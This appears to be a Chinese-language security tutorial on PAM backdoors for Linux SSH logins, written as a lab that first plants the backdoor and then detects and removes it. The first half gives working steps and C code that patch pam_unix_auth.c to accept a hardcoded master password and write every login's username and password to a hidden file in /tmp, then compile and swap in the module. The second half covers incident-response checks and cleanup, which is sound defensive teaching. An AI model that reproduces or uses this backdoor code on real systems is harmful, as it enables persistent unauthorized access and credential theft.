目录
1. PAM与PAM后门介绍
PAM介绍
PAM后门
2.植入PAM后门
2.1 关闭 selinux 和临时关闭 setenforce
2.2 查看 pam 版本号
2.3 下载对应版本的 pam 源码包
2.4 安装gcc编译器和flex库
2.5 留 PAM 后门和保存 ssh登录的账户密码
2.6 编译
2.9 登录测试
3. 应急响应发现
3.1 查看可疑连接
3.2 检查pam_unix.so的修改时间
3.3 查看SSH登录成功日志
3.4 strace监控sshd进程读写文件的操作
3.5 查看最近保存的可疑文件
3.6 清除 pam 后门
1. PAM与PAM后门介绍
PAM介绍
PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。
PAM后门
我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。
2.植入PAM后门
2.1 关闭 selinux 和临时关闭 setenforce
在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。
# 依次输入下面的命令
setenforce 0
# 进入模式后,按 i 进行编辑 然后将如图所示的SELINUX改为disabled 然后按ESC 最后按:wq 写入退出 这里通cat命令进行查看
vi /etc/selinux/config
cat /etc/selinux/config
2.2 查看 pam 版本号
发现是 1.1.8 版本
rpm -qa|grep pam
2.3 下载对应版本的 pam 源码包
参考文章链接中的文件已经没有了,但是可以在阿里镜像站中找到
pam下载地址:blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云 选择 pam1.1.8 手动下载或是,通过命令下载
wget https://mirrors.aliyun.com/blfs/conglomeration/Linux-PAM/Linux-PAM-1.1.8.tar.bz2
当然因为文件类型为.bz2文件后缀,因此解压的话需要通过下面的命令进行解压,不知道不同文件怎么解压的话可以看下面的文章进行参考
Linux tar.gz、tar、bz2、zip的区别,如何选择呢_tar.bz2 tar.xz tar.gz差别-CSDN博客
bzip2 -d Linux-PAM-1.1.8.tar.bz2
tar -xf Linux-PAM-1.1.8.tar
2.4 安装gcc编译器和flex库
yum install gcc flex flex-devel -y
2.5 留 PAM 后门和保存 ssh登录的账户密码
修改 Linux-PAM-1.1.8/modules/pamunix/pamunix_auth.c 源码实现自定义密码认证和保存登录密码 这里还是要么通过vim 或者远程链接修改
cd Linux-PAM-1.1.8/modules/pam_unix/
vim pam_unix_auth.c
if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
如图所示在文件的两个箭头的部分中间插入代码,其他信息在图片中写清楚了
2.6 编译
cd ../../
# 在下图的目录中执行命令
./configure
make
# 也可以直接执行执行一条命令
./configure && make
2.7 备份原有的 pam_unix.so 防止出现错误 ssh 登录不上了
cd ../
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
2.8 复制新 PAM 模块到 /lib64/security/ 目录下:
/Linux-PAM-1.1.8/modules/pamunix/.libs/ 目录下的pamunix.so文件直接手动复制下载到
上传到 /usr/lib64/security/ 目录下
如果出现无法复制的话,可以通过远程连接工具将文件复制过去
cp /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
2.9 登录测试
本地,win和finalshell远程登录测试
本地连接测试
ssh root@127.0.0.1
yes
xiaoyu
win测试
ssh root@192.168.10.15
yes
xiaoyu
# 登出
exit
finalshell远程连接测试
主机: 192.168.10.15
用户名: root
密码: xiaoyu
查看 ssh 登录账号密码保存位置,root 账户的密码被成功保存
cd /tmp
ls -la
cat .sshlog
file .sshlog
写入的文件中记录着登录成功的用户名和密码,并且知道了文件属性为txt类型
3. 应急响应发现
3.1 查看可疑连接
首先先测试之前创建的后门是否可以正常进行连接
# 这理根据,主机是否存在对应的工具来选择命令,下面的命令都是一样的
natstat -anpt
ss -tanp
3.2 检查pam_unix.so的修改时间
跟据前面的部署后门我们知道因为 pam 后门是替换文件和修改文件,因此通过查看文件的修改时间,如果为最近的时间就是被替换了。(没有可以连接的时候也可以查看)
# 这里根据服务器的系统版本去选择命令
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位(我的)
3.3 查看SSH登录成功日志
前面是通过查看可疑连接和文件被修改,既然进行了连接,那么就进行了登录,通过查看登录成的日志,查看可疑ip与账号
more /var/log/secure | grep Accepted
3.4 strace监控sshd进程读写文件的操作
为什么会有这个操作,pam后门在部署时,通常会进行对登录的用户名和密码进行写入文件保存,可以通过写入文件监控操作
# 通过对sshd安全进程的文件读写操作配置
ps axu | grep sshd | grep -v grep
3.5 查看最近保存的可疑文件
这里可以配合前面的的查看登录日志或是文件的修改时间确定时间范围查找修改的可疑文件,以我这个后门创建为例,不管是通过ssh登录或是对pam_unix.so的修改时间,都能确定为时间为7天以内
使用 find 命令查找最近修改的文件:
查找当前目录及其子目录下最近 1 天内修改过的文件:
find . -type f -mtime -1
查找特定目录下最近 1 小时内修改过的文件:
find /path/to/directory -type f -mtime -0.2
查找最近 10 分钟内修改过的文件:
find . -type f -mmin -10
查找最近7天内修改过的文件:
find . -type f -mtime -7
只查找最近修改过的 .txt 文件:
find . -type f -mtime -1 -name "*.txt"
# 查看最近7天内修改的txt文件
find . -type f -mtime -7
# 查看最近7天内修改的txt文件
find . -type f -mtime -7 -name "*.txt"
# 但是因为txt文件,在设置时是文件属性为txt,但是没txt的后缀名
find . -type f -mtime -7 ! -name "*.txt" -exec file "{}" \; | grep "text"
通过对下面文件的修改来看,其是对PAM包进行了替换或是修改,基本找运维也能确定是否最近进行了修改,当然这样也是无法定位到可疑文件的,根据前面的操作我们知道一般使用PAM会使用txt类型的文件来保存登录的用户名和密码
3.6 清除 pam 后门
根据前面的两个步骤就能确定,确实存在pam后门,既然后门是通过修改文件和配置来完成操作的,这里通过重新安装pam就可以解决了,也是最快捷方便的一种操作
yum reinstall pam
重装之后,发现输入后门密码也无法登录了,说明后门成功被清除了